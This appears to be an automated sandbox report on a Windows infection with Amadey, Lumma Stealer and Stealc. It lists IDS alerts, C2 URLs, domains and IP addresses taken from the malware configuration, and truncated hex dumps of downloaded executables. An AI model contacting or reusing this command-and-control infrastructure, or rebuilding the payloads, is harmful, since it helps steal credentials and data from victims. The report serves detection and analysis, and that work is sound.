Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49763 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49774
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.4:49791 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:65066 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:59726 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:65289 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:58639 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:59386 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:57477 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49828 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49835 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49827 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49844 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49854 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49866 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49861 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49859 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49859 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49859
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49879 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49859 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49859
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49859 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49885 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:55082 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:52304 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:58636 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49901 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49903 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49917 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49932 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49948 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49931 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49939 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49961 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:53336 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:53551 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49976 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:49993 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50010 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:58237 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:60803 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:64345 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:50521 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:61016 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50059 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50061 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50062 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50067 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50072 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50069 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50064 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50065 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.4:50074 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50071 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50077 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49879 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49828 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49828 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49835 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49835 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49917 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49917 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49903 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49903 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49939 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50010 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50059 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50061 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50059 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50061 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50069 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50074 -> 104.21.5.155:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: pohtent.exe.6.dr

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 07 Nov 2024 05:01:11 GMTContent-Type: application/octet-streamContent-Length: 3152896Last-Modified: Thu, 07 Nov 2024 04:53:38 GMTConnection: keep-aliveETag: "672c47d2-301c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 20 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 30 00 00 04 00 00 09 a5 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6e 71 6d 64 75 66 67 00 60 2a 00 00 b0 05 00 00 60 2a 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 74 70 71 6f 76 70 00 10 00 00 00 10 30 00 00 04 00 00 00 f6 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 30 00 00 22 00 00 00 fa 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 07 Nov 2024 05:01:16 GMTContent-Type: application/octet-streamContent-Length: 2132992Last-Modified: Thu, 07 Nov 2024 04:53:51 GMTConnection: keep-aliveETag: "672c47df-208c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 29 d7 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6c 74 6d 7a 6f 7a 79 00 e0 19 00 00 90 58 00 00 dc 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 77 73 63 68 6d 76 67 00 10 00 00 00 70 72 00 00 04 00 00 00 66 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 72 00 00 22 00 00 00 6a 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 05:01:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 07 Nov 2024 05:01:26 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Thu, 07 Nov 2024 03:55:04 GMTConnection: keep-aliveETag: "672c3a18-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 11 ed 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 66 6b 75 77 61 6b 70 00 00 2b 00 00 a0 00 00 00 e4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6d 6c 73 73 78 69 6d 00 20 00 00 00 a0 2b 00 00 04 00 00 00 1e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 